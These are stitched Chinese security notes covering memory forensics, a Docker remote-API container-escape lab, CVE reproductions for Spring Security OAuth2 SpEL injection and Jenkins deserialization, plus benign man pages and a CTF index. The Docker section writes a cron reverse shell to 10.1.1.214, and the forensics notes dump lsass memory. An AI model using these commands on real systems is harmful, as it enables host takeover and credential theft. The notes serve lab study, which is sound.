`Ctrl` `.` | Zoom in, show only the current block enlarged
`Ctrl` `,` | Zoom out, restores the normal view
`Ctrl` `O` | Follow link under cursor, when editing a block
`Ctrl` `Shift` `O` | Open a link under cursor in the sidebar
`Ctrl` `Up` | Collapse all child blocks under the current block
`Ctrl` `Down` | Expand all child blocks under the current block
`Shift` `Up` | Select the block above where the cursor is placed
`Shift` `Down` | Select the block below where the cursor is placed
`Ctrl` `Shift` `A` | Select all blocks
`Ctrl` `A` | Jump to the beginning of the current block
`Ctrl` `E` | Jump to the end of the current block
`Ctrl` `F` | Move one character to the right
`Ctrl` `B` | Move one character to the left
`Ctrl` `T` | Swap all characters on either side of the cursor
`Ctrl` `C` `Ctrl` `X` | Show avatar of the last user to edit the block
{.shortcuts}
### Version Control
Shortcut | Action
---|---
`Ctrl` `,` | Add a version
`Ctrl` `Shift` `.` | Cycle versions to the right
`Ctrl` `Shift` `,` | Cycle versions to the left
`Ctrl` `.` | Expand all versions, all versions will appear in their own blocks
{.shortcuts}
### Formatting
Shortcut | Action
---|---
`Ctrl` `Alt` `1-3` | Toggle between heading styles
`Ctrl` `Alt` `0` | Reset heading, or set to paragraph
`Ctrl` `Enter` | Toggle TODO or DONE
`Ctrl` `B` | Bold
`Ctrl` `I` | Italic
`Ctrl` `K` | Create an HTML link
`Ctrl` `Y` | Strike-through
`Ctrl` `H` | Highlight
<code>\`</code> | Create an inline block of code
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Roam Research](https://www.roamtips.com/home/the-complete-list-of-roam-research-keyboard-shortcuts) _(www.roamtips.com)_
|
sec-knowleage
|
# 内存取证
> 注 : 笔记中拓扑图 xmind 源文件在其图片目录下
---
## 免责声明
`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.`
---
**简介**
内存取证一般指对计算机及相关智能设备运行时的物理内存中存储的临时数据进行获取与分析,提取重要信息。
**相关文章**
- [计算机内存取证技术](http://www.binarydata.cn/archives/772.html)
- [数字取证-死活取证](https://blog.taielab.com/2019-05-09/digital-forensics-live-and-dead.html)
- [Linux Forensics Series Chapter 1 — Memory Forensics](https://medium.com/@ozan.unal/linux-forensics-series-chapter-1-memory-forensics-372b9dba49d7)
- [使用工具进行计算机取证](https://www.cnblogs.com/xd502djj/p/11245968.html)
- [内存取证研究与进展](http://www.jos.org.cn/html/2015/5/4821.htm)
- [取证黄金之内存 Dump](https://mp.weixin.qq.com/s/BvryinTQ3gzVh4r8MYvIpg)
**CTF writup**
- [V&N2020 公开赛Misc-内存取证 Writeup](https://zhuanlan.zhihu.com/p/110104787)
- [【CTF】利用volatility与Gimp实现Windows内存取证](https://segmentfault.com/a/1190000018813033)
- [内存取证三项CTF赛题详解](https://www.freebuf.com/news/145262.html)
- [高校战“疫”网络安全分享赛--ez_mem&dump wp](https://segmentfault.com/a/1190000021955023)
- [强网杯 广博的BlueTeaming](https://www.anquanke.com/post/id/246123)
---
## 内存提取
<p align="center">
<img src="../../../../assets/img/Security/BlueTeam/笔记/内存取证/2.png">
</p>
这个步骤是从目标机器中导出内存。完整的内存数据包括两部分: 物理内存数据和页面交换文件数据. 物理内存通常是一个特殊的内核对象, 比如, 在 Windows 系统中, 物理内存是内核内存区对象, 即 `\\Device\\PhysicalMemory`; 在 Unix/Linux 系统中, 物理内存为 `/dev/mem` 和 `/dev/kmem`. 只要能读取该内核对象, 就能获取物理内存数据.
你可以在物理机上使用工具比如 Win32dd/Win64dd, Memoryze, DumpIt, FastDump 。然而在虚拟机上,获取内存是很容易的,你可以暂停 VM 并取出 `.vmem` 文件。
**相关文章**
- [内存镜像获取工具推荐](http://blog.md5.red/?p=578)
- [NOTES ON LINUX MEMORY ANALYSIS - LIME, VOLATILITY AND LKM’S](https://countuponsecurity.com/2019/10/14/notes-on-linux-memory-analysis-lime-volatility-and-lkms/)
- [如何生成转储(dmp)文件--工具篇](https://blog.csdn.net/daye5465/article/details/77718111)
- [VMware虚拟机蓝屏开不了机如何取dump文件](https://blog.csdn.net/hzf202/article/details/83107091)
- [Extracting passwords from hiberfil.sys and memory dumps](https://diverto.github.io/2019/11/05/Extracting-Passwords-from-hiberfil-and-memdumps)
- [渗透测试中的冷却启动攻击和其他取证技术](https://www.freebuf.com/articles/system/23409.html)
- [Linux 服务器取证](https://mp.weixin.qq.com/s/1DA03hjJmd1Lm24f0nXG0Q)
### 基于硬件的内存获取
根据所面向的硬件体系和操作系统的不同,可以分为以下几种
**面向 Intel 架构桌面操作系统的内存获取**
此类基于硬件的内存获取方法主要通过插入硬件卡, 利用 DMA(direct memory access, 直接内存访问) 指令去获取物理内存的拷贝. 在拷贝物理内存时, 目标系统的 CPU 将暂停, 以避免因操作系统的执行而改变内存数据. 目前有以下几种类型的硬件卡:
- 基于 PCI 卡拷贝物理内存 (hardware card based technique)
- 基于 IEEE 1394 火线接口拷贝物理内存 (hardware bus based technique)
- 基于固件的物理内存拷贝 (firmware based technique), 利用 PCI 网卡中的 SMM(system management mode, 系统管理模式) 固件获取物理内存和 CPU 寄存器内容;
- 基于网卡拷贝物理内存 (network card based technique), 比如, 利用网卡的 NDIS(network driver interface specification, 网络驱动程序接口规范) 来获取物理内存;
- 基于雷电接口 Thunderbolt 拷贝物理内存 (Thunderbolt based technique)
此类方法的优点是:
- 在基于 Intel 架构的操作系统 (Windows,Linux,Mac OS 等) 中, 都可以利用该方法获取物理内存;
- 采用 DMA 方式能够在不干扰操作系统和 CPU 的情况下, 较为准确地获取物理内存拷贝.
其缺点是:
- 如攻击者对主板上的北桥芯片进行重新编程, 则很容易欺骗此类方法;
- 早期的 PCI 硬件卡须事先插入主板中, 这对于遭受实时攻击的系统来说是不现实的;
- 新版 BIOS 对 SMM 模式进行锁定, 限制了利用固件获取物理内存的应用;
- 如果攻击者对 NDIS 库进行劫持, 就能篡改通过网卡传送的物理内存数据;
- 只能获取物理内存 RAM, 不能获取页面交换文件.
**面向 ARM 结构智能终端操作系统的内存获取**
面向智能终端的硬件获取方法主要通过硬件与终端设备相连接, 以获取智能终端设备的内存数据. 目前, 基于硬件的内存获取方法主要有两种:
- JTAG(joint test action group, 联合测试行动小组)技术;
- JTAG 技术是通过在印刷电路板上与特定的 JTAG 接头相连以连接智能终端设备中的 CPU, 在向电路供电后, 再借助 JTAG 软件转储整个内存数据. 该方法的优点是无需获得智能终端设备的 Root 访问权限即可实现内存数据获取, 但其缺点是, 如果 JTAG 焊接点出错或供电电压错误, 则将导致 JTAG 无法使用, 且对智能终端设备造成严重损坏.
- 芯片摘取 (chip-off) 技术.
- 芯片摘取 (chip-off) 技术是将内存芯片从智能终端设备中取出, 再通过特殊的硬件设备读取其中存储的数据. 该方法的优点是可绕过智能终端设备的口令保护, 还能修复已遭毁坏的智能终端设备中的数据; 但其缺点是把内存芯片取出和重新装入印刷电路板, 将可能损坏内存芯片.
---
### 基于软件的内存获取
#### Windows
**相关工具**
- 对整个操作系统运行中的物理内存进行镜像 Dump
- [moonsols](https://www.moonsols.com/) - moonsols 可以处理休眠文件(Hiberfil.sys),crashdump 文件和 raw memory dump 文件,crashdump 可以被 winDBG 加载进行分析,所以最终要转化为 crashdump 文件。
- Dumpit - 一款 windows 内存镜像取证工具。利用它我们可以轻松地将一个系统的完整内存镜像下来,并用于后续的调查取证工作
- [Belkasoft RAMCapturer](https://belkasoft.com/ram-capturer)
- [Magnet RAM Capture](https://www.magnetforensics.com/resources/magnet-ram-capture/)
- [Winpmem](https://github.com/Velocidex/WinPmem)
- [FTK Imager](https://accessdata.com/product-download)
- [Redline](https://www.fireeye.com/services/freeware/redline.html)
- Elcomsoft System Recovery
- 针对单个进程的内存进行 Dump
- AvDump - 提取指定 pid 的内存
```
.\avdump64.exe --pid <pid> --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file lsass.dmp
```
- [procdump](https://learn.microsoft.com/zh-cn/sysinternals/downloads/procdump)
##### hiberfil.sys
休眠 (hibernate) 是指系统将内存中的数据全部转储到硬盘上一个休眠文件中, 然后切断对所有设备的供电, 并在下次开机时, 系统会将硬盘上的休眠文件内容直接读入内存, 并恢复到休眠之前的状态. 由于休眠文件中保存的是休眠时刻系统的内存记录, 因此, 系统休眠文件也成了获取内存数据的一种方式.
在 Windows 系统中, 当系统进入节能休眠模式时, 会自动生成休眠文件 Hiberfil.sys 且存放在 Windows 系统根目录下.
在 Linux 系统中, 休眠文件保存在 swap 分区中. 在 Mac OS 系统中, 休眠文件保存在 `/var/vm/sleepimage` 中. 基于系统休眠文件的内存获取方法, 就是利用操作系统这种机制来获取内存数据.
该方法尽管实现简单, 但存在如下缺陷:
- 由于系统休眠时保存的物理内存 RAM 中的数据, 未包括页面交换文件数据, 导致无法获取全部内存数据;
- 需要与物理内存 RAM 大小相同的硬盘空间, 以存储休眠文件;
- 不同操作系统的休眠文件格式未知, 且压缩存放, 这给取证分析该文件带来了困难;
- 该方法除了需要 BIOS 支持以外, 还需要外围硬件设备能够支持节电状态, 且这些设备驱动必须能够接收电源管理指令.
如果计算机在挂载加密分区时进入休眠状态,则 OTFE 密钥可以直接存储在系统的休眠文件中。
在某些情况下,存在 hiberfil.sys,但尚未使用。最好检查 hiberfil.sys 是否为空(全零字节)
```bash
cat hiberfil.sys | tr -d '\0' | read -n 1 || echo "All null bytes"
```
将 hiberfil.sys 转换为 dmp 格式
- volatility
```bash
volatility_standalone.exe -f d:\hiberfilsys.copy imageinfo
volatility_standalone.exe -f d:\hiberfilsys.copy --profile=Win7SP1x64 hibinfo
volatility_standalone.exe -f d:\hiberfilsys.copy imagecopy --profile=Win7SP1x64 -O hiber.raw
volatility_standalone.exe -f hiberfil.raw --profile=Win7SP1x64 raw2dmp -O hiberfil.dmp
```
- Hibr2Dmp
```bash
Hibr2Dmp.exe hiberfil.sys hiberfil.dmp
```
##### MEMORY.DMP
MEMORY.DMP 文件是 Windows 操作系统中的内存转储文件,当 Windows 发生错误蓝屏的时候,系统将当前内存(含虚拟内存)中的数据直接写到文件中去,方便定位故障原因。
---
#### MAX OSX
**相关工具**
- [osxpmem](https://github.com/google/rekall/)
```bash
sudo chown -R root:wheel pmem.kext
sudo chown chmod -R 755 pmem.kext
sudo kextload -v pmem.kext
./osxpmem -f raw mem.bin
```
- MacMemoryReader
- Recon for Mac OSX
- Blackbag MacQuisition
---
#### Linux
**相关工具**
- 对整个操作系统运行中的物理内存进行镜像 Dump
- [504ensicsLabs/LiME](https://github.com/504ensicslabs/lime) - LiME 是一个用于获取各种取证数据的命令行工具。
```bash
# 编译 LiME
yum install -y gcc make gcc-c++
yum install -y kernel-devel
ls -lisa /usr/src/kernels/
git clone https://github.com/504ensicslabs/lime
cd lime/src
make # 如果编译失败有可能是 /lib/modules/xxx/ 的 build 链接错误,重新连接即可
# 在这个过程的最后,它被编译成一个可下载的 Linux 版本的内核对象。使用 insmod 命令运行 LiME。此步骤将获取 LiME 格式的内存样本,现在我们已经准备好接收内存镜像了。我想在 usb 上打印,所以我给出了 usb 内存的路径。我必须在这里提醒你一些事情。存储器图像的尺寸并不小,所以要确保在你要拍摄图像的设备中有足够的空间,最后,你可以使用 rmmod 删除模块。
insmod ./lime-3.10.0-1062.18.1.el7.x86_64.ko path=/media/usbaaa/ESD-USB/linux64.mem format=raw
rmmod lime
```
- [halpomeranz/lmg](https://github.com/halpomeranz/lmg) - 配合 LiME 获取镜像,简化操作
```
将 lmg-master 内文件放入 LiME 的 src 文件夹,运行 ./lmg 搞定。
```
- linpmem
- [Draugr](https://code.google.com/archive/p/draugr/)
- [Volatilitux](https://code.google.com/archive/p/volatilitux/)
- [Memfetch](https://lcamtuf.coredump.cx/)
- Memdump
- [fmem](https://github.com/NateBrune/fmem)
```bash
git clone https://github.com/NateBrune/fmem
cd fmem
# ubuntu install dwarfdump
apt-get install -y dwarfdump
# centos install dwarfdump
yum install -y gcc make gcc-c++
yum install -y elfutils-devel
yum install -y kernel-devel
wget https://www.prevanders.net/libdwarf-20201201.tar.gz
tar -zxvf libdwarf-20201201.tar.gz
cd libdwarf-20201201
./configure
make
make install
cd ../
make # 如果编译失败有可能是 /lib/modules/xxx/ 的 build 链接错误,重新连接即可
./run.sh
dd if=/dev/fmem of=/root/cyq.vmem bs=1MB count=2048 # 将内存里的数据拷贝到 root 目录下的 cyq.vmem 文件
```
- 针对单个进程的内存进行 Dump
- [Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
---
#### Vmware
VMWare 虚拟机在暂停或挂起时, 内存状态信息会保存在以. Vmss 为扩展名的文件中; 在建立系统快照时, 包括内存在内的系统状态信息会保存在以. Vmsn 为扩展名的文件中; 而虚拟客户机的所有内存信息会保存在以. Vmem 为扩展名的文件中
**相关工具**
- [vmss2core](https://flings.vmware.com/vmss2core) - 快照文件转换为内存转储,开发人员可以使用此工具将虚拟机检查点转换为核心转储文件,从而对客户机操作系统和应用程序进行调试。检查点可以是快照或挂起文件。
```bash
# vmss 是挂起,vmsn 是快照,vmem 是虚拟机内存转储
vmss2core.exe -W virtual_machine_name.vmss virtual_machine_name.vmem
# 注意:"2195" for Win32, "6000" for Win64
vmss2core.exe -W2195 virtual_machine_name.vmss virtual_machine_name.vmem
vmss2core.exe -W6000 virtual_machine_name.vmss virtual_machine_name.vmem
# 注意:如果你使用的是 Microsoft Windows 8/8.1、Windows Server 2012、Windows Server 2016 或 Windows Server 2019
vmss2core.exe -W8 virtual_machine_name.vmss virtual_machine_name.vmem
# 注意:如果使用的是 Linux,请运行如下命令:
./vmss2core-Linux64 -N virtual_machine_name.vmss
# 要在虚拟机位于 ESX/ESXi 主机上时创建内存转储
# 启动与主机的 SSH 会话。
vm-support -x # 确定虚拟机的域 ID
# 注意:对于 ESXi 6.7,请使用命令 esxcli vm process list
vm-support -Z [world_ID] # 挂起虚拟机
# 将 virtual_machine_name.vmss 文件复制到你的 vmss2core 工具所在的位置
vmss2core -W virtual_machine_name.vmss # 运行 vmss2core 工具
```
- Bin2Dmp
```bash
# 将 vmem 文件转为 dmp 文件
Bin2Dmp.exe vmware.vmem vmware.dmp
```
- Volatility
```bash
# 需要指定 profile
volatility_standalone.exe -f vmware.vmem --profile=Win7SP1x64 raw2dmp -O vmware.dmp
```
**爆破密码**
- [axcheron/pyvmx-cracker](https://github.com/axcheron/pyvmx-cracker)
```bash
git clone https://github.com/axcheron/pyvmx-cracker.git
cd pyvmx-cracker
pip3 install -r requirements.txt
pip3 pip install pyCrypto
python3 pyvmx-cracker.py -v sample.vmx -d wordlist.txt
```
---
#### VirtualBox
**相关工具**
- vboxmanage + [vboxelf2raw.sh](https://gist.github.com/kost/606145346d47c5ed0469d4e9ac415927) + Volatility
```bash
vboxmanage debugvm "win7test" dumpvmcore --filename testvbox.elf
# VirtualBox 内存转储采用 ELF 格式,其中 load1 段保存原始内存转储。
./vboxelf2raw.sh testvbox.elf
volatility_standalone.exe -f testvbox.elf.raw --profile=Win7SP1x64 raw2dmp -O testvbox.dmp
```
---
## 内存分析
**内存分析工具**
- [Volatility](../../安全工具/Volatility.md) - Volatility Framwork 是一款开源的基于 Python 开发的内存分析框架,它自带的分析插件支持分析内存镜像中所保留的历史网络连接信息、历史进程、历史命令记录等等。
- [Elcomsoft Forensic Disk Decryptor](https://cn.elcomsoft.com/efdd.html) - 即时访问保存在加密的 BitLocker,FileVault 2,PGP,TrueCrypt 和 VeraCrypt 存储中的数据。该工具从 RAM 捕获数据,休眠和页面文件中提取加密密钥,或使用纯文本密码或托管密钥来解密存储在加密容器中的文件和文件夹,或者将加密卷装载为新的驱动器号,以便进行实时访问。
- [gleeda/memtriage](https://github.com/gleeda/memtriage) - 集成了 Winpmem 和 Volatility 的工具
- WinHex
- 取证大师
- [makomk/aeskeyfind](https://github.com/makomk/aeskeyfind) - 该工具用于在内存转储中寻找 AES 密钥
- Passware Kit Forensic - 用于从内存、磁盘中恢复密码
- [CrowdStrike/SuperMem](https://github.com/CrowdStrike/SuperMem) - 内存样本处理工具
- windbg - windbg 是专门针对 windows 的一款调试器,支持各种 Windows API,不仅支持用户态/内核态程序调试,还能分析进程内存 Dump 文件。常见的 Windows 蓝屏问题分析,使用的就是该工具。
|
sec-knowleage
|
---
title: Docker 远程 API 未授权访问逃逸
---
<center><h1>Docker 远程 API 未授权访问逃逸</h1></center>
---
docker remote api 可以执行 docker 命令,docker 守护进程监听在 0.0.0.0,可直接调用 API 来操作 docker
## 搭建
将 docker 守护进程监听在 0.0.0.0
```bash
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
```
## 检测
```bash
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && wget http://$IP:2375
```
如果返回 404 说明存在
<img width="1200" src="/img/1650014660.png">
## 复现
列出容器信息
```bash
curl http://<target>:2375/containers/json
```
查看容器
```bash
docker -H tcp://<target>:2375 ps -a
```
新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。
```bash
docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash
```
在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root
```bash
echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root
```
本地监听端口,获取对方宿主机shell。
<Vssue />
<script>
export default {
mounted () {
this.$page.lastUpdated = "2022年4月15日"
}
}
</script>
|
sec-knowleage
|
resize
===
命令设置终端机视窗的大小
## 补充说明
**resize命令** 命令设置终端机视窗的大小。执行resize指令可设置虚拟终端机的视窗大小。
### 语法
```shell
resize [-cu][-s <列数> <行数>]
```
### 选项
```shell
-c 就算用户环境并非C Shell,也用C Shell指令改变视窗大小。
-s <列数> <行数> 设置终端机视窗的垂直高度和水平宽度。
-u 就算用户环境并非Bourne Shell,也用Bourne Shell指令改变视窗大小。
```
### 实例
使用 C shell
```shell
[root@localhost ~]# resize -c
set noglob;
setenv COLUMNS '99';
setenv LINES '34';
unset noglob;
```
使用 Bourne shell
```shell
[root@localhost ~]# resize -u
COLUMNS=99;
LINES=34;
export COLUMNS LINES;
```
设置指定大小
```shell
[root@localhost ~]# resize -s 80 160
```
|
sec-knowleage
|
# Writeup 9447 Security Society CTF 2015
Uczestniczyliśmy (cr019283, c7f.m0d3, msm, Rev, other019, nazywam i Shalom) w 9447 CTF, i znowu spróbujemy opisać zadania z którymi walczyliśmy (a przynajmniej te, które pokonaliśmy).

### Spis treści:
* [binned (Steganography) 100]
* [Give feedback (Misc) 15]
* [dub-key (Crypto) 130](dub-key)
* [imaged (Steganography) 90]
* [Hello, Joe (Reverse engineering) 160]
* [cards (Exploitation) 140]
* [BWS (Exploitation) 190]
* [danklang (Reverse engineering) 100](danklang)
* [4w1h (Misc) 100](4w1h)
* [randBox (Crypto) 120](randBox)
* [RedOs (Exploitation) 160]
* [calpop reloaded (Exploitation) 130]
* [nicklesndimes (Web) 200]
* [premonition (Web) 140]
* [YWS (Web) 130]
* [The *real* flag finder (Reverse engineering) 70]
* [flag finder (Reverse engineering) 1]
* [calcpop (Exploitation) 80]
* [Get help (Misc) 10]
* [sanutf8y_check (Web) 1](sanutf8y_check)
## ENG version
### Table of contents:
* [binned (Steganography) 100]
* [Give feedback (Misc) 15]
* [dub-key (Crypto) 130](dub-key#eng-version)
* [imaged (Steganography) 90]
* [Hello, Joe (Reverse engineering) 160]
* [cards (Exploitation) 140]
* [BWS (Exploitation) 190]
* [danklang (Reverse engineering) 100](danklang#eng-version)
* [4w1h (Misc) 100](4w1h#eng-version)
* [randBox (Crypto) 120](randBox#eng-version)
* [RedOs (Exploitation) 160]
* [calpop reloaded (Exploitation) 130]
* [nicklesndimes (Web) 200]
* [premonition (Web) 140]
* [YWS (Web) 130]
* [The *real* flag finder (Reverse engineering) 70]
* [flag finder (Reverse engineering) 1]
* [calcpop (Exploitation) 80]
* [Get help (Misc) 10]
* [sanutf8y_check (Web) 1](sanutf8y_check#eng-version)
|
sec-knowleage
|
.ig \"-*- nroff -*-
Copyright (C) 1999 Free Software Foundation, Inc.
Permission is granted to make and distribute verbatim copies of
this manual provided the copyright notice and this permission notice
are preserved on all copies.
Permission is granted to copy and distribute modified versions of this
manual under the conditions for verbatim copying, provided that the
entire resulting derived work is distributed under the terms of a
permission notice identical to this one.
Permission is granted to copy and distribute translations of this
manual into another language, under the above conditions for modified
versions, except that this permission notice may be included in
translations approved by the Free Software Foundation instead of in
the original English.
..
.de TQ
.br
.ns
.TP \\$1
..
.\" Like TP, but if specified indent is more than half
.\" the current line-length - indent, use the default indent.
.de Tp
.ie \\n(.$=0:((0\\$1)*2u>(\\n(.lu-\\n(.iu)) .TP
.el .TP "\\$1"
..
.TH GROFF 1 "21 December 1999" "Groff Version 1.15"
.SH NAME
groff \- groff 文档排版系统前端
.SH "总览 (SYNOPSIS)"
.B groff
[
.B \-abehilpstvzCENRSUVXZ
]
[
.BI \-w name
]
[
.BI \-W name
]
[
.BI \-m name
]
[
.BI \-F dir
]
[
.BI \-I dir
]
[
.BI \-T dev
]
[
.BI \-f fam
]
[
.BI \-M dir
]
[
.BI \-d cs
]
[
.BI \-r cn
]
[
.BI \-n num
]
[
.BI \-o list
]
[
.BI \-P arg
]
[
.BI \-L arg
]
[
.IR files \|.\|.\|.\|
]
.SH "描述 (DESCRIPTION)"
.B groff
是 groff 文档排版系统的前端。 一般来说, 它运行
.B troff
程序和一个同选择的设备相对应的后处理器。 可选的设备有
.TP
.B ps
PostScript 打印机和查看器。
.TP
.B dvi
TeX dvi 格式。
.TP
.B X75
一个 75 点每英寸的 X11 查看器。
.TP
.B X100
一个 100 点每英寸的 X11 查看器。
.TP
.B ascii
打字机一类的设备。
.TP
.B latin1
用 ISO Latin-1 字符集的打字机设备。
.TP
.B lj4
一个兼容 HP LaserJet4 的(或者其它兼容 PCL5 的) 打印机。
.TP
.B html
输出 HTML 格式。
.LP
在设备描述文件里, 设备的后处理器是通过
.B postpro
命令指定的。 这个可以被
.B \-X
选项改写。
.LP
默认的设备是
.BR ps 。
它可以选择用
.BR pic ,
.BR eqn ,
.BR tbl ,
.BR refer ,
或者
.B soelim
等预处理器。
.LP
如果没有任何选项, 可以用一个单独的
.BR \-
来代替。 文件名
.B \-
代表标准输入。
.LP
.B grog
命令可以根据文件格式猜测相应的 groff 命令。
.SH "选项 (OPTIONS)"
.TP
.B \-h
打印帮助信息。
.TP
.B \-e
用 eqn 预处理。
.TP
.B \-t
用 tbl 预处理。
.TP
.B \-p
用 pic 预处理。
.TP
.B \-s
用 soelim 预处理。
.TP
.BI \-I dir
此选项在
.BR soelim (1)
中描述。 此选项包含
.B \-s
选项。
.TP
.B \-R
用 refer 预处理。 没有传输参数给
.B refer
的机制, 因为很多 refer 选项在文件里有相应的命令。 细节请参照
.BR refer (1) 。
.TP
.B \-v
使
.B groff
运行的程序打印出版本号。
.TP
.B \-V
在标准输出打印管道线, 而不执行它。
.TP
.B \-z
禁止
.BR troff
输出。 只有出错信息显示出来。
.TP
.B \-Z
不后处理
.BR troff
的输出。 一般
.B groff
会自动运行相应的后处理器。
.TP
.BI \-P arg
把
.I arg
传给后处理器。 每个参数都要用单独的
.B \-P
选项分开。 注意
.B groff
在传
.I arg
给后处理器时不会在前加上
.B \- 。
.TP
.B \-l
把输出送到打印机, 所用的命令在设备描述文件中用
.B print
命令分开。
.TP
.BI \-L arg
把
.I arg
传给打印机。 每个参数都要用单独的
.B \-L
选项分开。 注意
.B groff
在传
.I arg
给后处理器时不会在前加上
.B \- 。
.TP
.BI \-T dev
生成针对
.IR dev
设备的输出。 默认的设备是
.BR ps 。
.TP
.B \-X
用
.B gxditview
预览, 而不是用一般的后处理器。
.B Groff
会传给
.B gxditview
一个
.B -printCommand
选项, 这样如果有
.B -l
选项
.B Print
就会做
.B groff
会做的事。 除非有
.BR \-Tps
选项, 否则这并不能产生好的输出。
.TP
.B \-N
在 eqn 分割符出不产生新行符(newline)。 这个同
.BR eqn
中的
.B \-N
选项有一样的作用。
.TP
.B \-S
安全模式。 把
.B \-S
选项传给
.B pic
并且对
.BR troff
用
.B \%\-msafer
宏。 (默认开启)
.TP
.B \-U
不安全模式。 用以前的不安全的特性。
.TP
.B \-a
.TQ
.B \-b
.TQ
.B \-i
.TQ
.B \-C
.TQ
.B \-E
.TQ
.BI \-w name
.TQ
.BI \-W name
.TQ
.BI \-m name
.TQ
.BI \-o list
.TQ
.BI \-d cs
.TQ
.BI \-r cn
.TQ
.BI \-F dir
.TQ
.BI \-M dir
.TQ
.BI \-f fam
.TQ
.BI \-n num
这些都在
.BR troff (1)
中描述。
.SH "环境 (ENVIRONMENT)"
.TP
.SM
.B GROFF_COMMAND_PREFIX
如果这个变量设为
.IR X ,
.B groff
会运行
.IB X troff ,
而不是
.BR troff 。
这也适用于
.BR tbl ,
.BR pic ,
.BR eqn ,
.BR refer ,
和
.BR soelim。 但并不适用于
.BR grops ,
.BR grodvi ,
.BR grotty ,
.BR grolj4 ,
.BR grohtml ,
和
.BR gxditview 。
.TP
.SM
.B GROFF_TMAC_PATH
一个冒号分开的列表, 包含寻找宏文件的路径。
.TP
.SM
.B GROFF_TYPESETTER
缺省设备。
.TP
.SM
.B GROFF_FONT_PATH
一个冒号分开的列表, 包含寻找
.BI dev name
的路径。
.TP
.SM
.B PATH
.BR groff
执行命令的搜寻路径。
.TP
.SM
.B GROFF_TMPDIR
临时文件目录。 如果没有设置此变量但是设置了
.B
.SM TMPDIR
临时文件就会在那个目录中创建。 否则临时文件就会在
.BR /tmp
中创建。
.BR grops (1)
和
.BR refer (1)
命令都会创建临时文件。
.SH "文件 (FILES)"
.Tp \w'\fB/usr/lib/groff/font/dev\fIname\fB/DESC'u+3n
.BI /usr/lib/groff/font/dev name /DESC
.IR name
设备的设备描述文件。
.TP
.BI /usr/lib/groff/font/dev name / F
.IR name
设备的
.I F
字体的字体文件。
.SH "作者 (AUTHOR)"
James Clark <jjc@jclark.com>
.SH "错误 (BUGS)"
报错误报告给 bug-groff@gnu.org。 请包含一个完整的报告, 还有一个能使错误再次出现的例子,
并注明用的是 groff 的哪个版本。
.SH "版权 (COPYRIGHT)"
版权所有 \(co 1989, 1990, 1991, 1992, 1999 自由软件基金会
.LP
这一程序是自由软件, 你可以遵照自由软件基金会出版的 GNU 通用公共许可
证条款来修改和重新发布这一程序。 或者用许可证的第二版, 或者(根据你的选
择)用任何更新的版本。
.LP
发布 groff 程序的目的是希望它有用, 但没有任何担保。 甚至没有适合特定目
的的隐含的担保。 更详细的情况请参阅 GNU 通用公共许可证。
.LP
你应该已经和程序一起收到一份 GNU 通用公共许可证的副本。 如果还没有, 写信给:
The Free Software Foundation, Inc., 675 Mass Ave, Cambridge,
MA02139, USA
.SH "获取 (AVAILABILITY)"
groff 的最新版本可以通过匿名 ftp 从 ftp.gnu.org/gnu/groff 得到。
.SH "参见 (SEE ALSO)"
.BR grog (1),
.BR troff (1),
.BR tbl (1),
.BR pic (1),
.BR eqn (1),
.BR soelim (1) ,
.BR refer (1),
.BR grops (1),
.BR grodvi (1),
.BR grotty (1),
.BR grohtml (1),
.BR gxditview (1),
.BR groff_font (5),
.BR groff_out (5),
.BR groff_man (7),
.BR groff_ms (7),
.BR groff_me (7),
.BR groff_char (7),
.BR groff_msafer (7)
.SH "[中文版维护人]"
.B 唐友 \<tony_ty@263.net\>
.SH "[中文版最新更新]"
.BR 2001/8/29
.SH "[中国Linux论坛man手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# Spring Security OAuth2 远程命令执行漏洞(CVE-2016-4977)
Spring Security OAuth 是为 Spring 框架提供安全认证支持的一个模块。在其使用 whitelabel views 来处理错误时,由于使用了Springs Expression Language (SpEL),攻击者在被授权的情况下可以通过构造恶意参数来远程执行命令。
参考链接:
- http://secalert.net/#CVE-2016-4977
- https://deadpool.sh/2017/RCE-Springs/
- http://blog.knownsec.com/2016/10/spring-security-oauth-rce/
## 运行环境
执行如下命令启动漏洞环境:
```
docker compose up -d
```
启动完成后,访问`http://your-ip:8080/`即可看到web页面。
## 漏洞复现
访问`http://your-ip:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test`。首先需要填写用户名和密码,我们这里填入`admin:admin`即可。
可见,我们输入是SpEL表达式`${233*233}`已经成功执行并返回结果:

然后,我们使用[poc.py](poc.py)来生成反弹shell的POC(注意:[Java反弹shell的限制与绕过方式](http://www.jackson-t.ca/runtime-exec-payloads.html)):

如上图,生成了一大串SpEL语句。附带上这个SpEL语句,访问成功弹回shell:

|
sec-knowleage
|
# Jenkins-CI 远程代码执行漏洞(CVE-2017-1000353)
## 原理
参考阅读 https://blogs.securiteam.com/index.php/archives/3171
## 环境搭建
执行如下命令启动jenkins 2.46.1:
```
docker compose up -d
```
等待完全启动成功后,访问`http://your-ip:8080`即可看到jenkins已成功运行,无需手工安装。
## 测试过程
### 步骤一、生成序列化字符串
参考<https://github.com/vulhub/CVE-2017-1000353>,首先下载[CVE-2017-1000353-1.1-SNAPSHOT-all.jar](https://github.com/vulhub/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar),这是生成POC的工具。
执行下面命令,生成字节码文件:
```bash
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
# jenkins_poc.ser是生成的字节码文件名
# "touch ..."是待执行的任意命令
```
执行上述代码后,生成jenkins_poc.ser文件,这就是序列化字符串。
### 步骤二、发送数据包,执行命令
下载[exploit.py](https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py),python3执行`python exploit.py http://your-ip:8080 jenkins_poc.ser`,将刚才生成的字节码文件发送给目标:

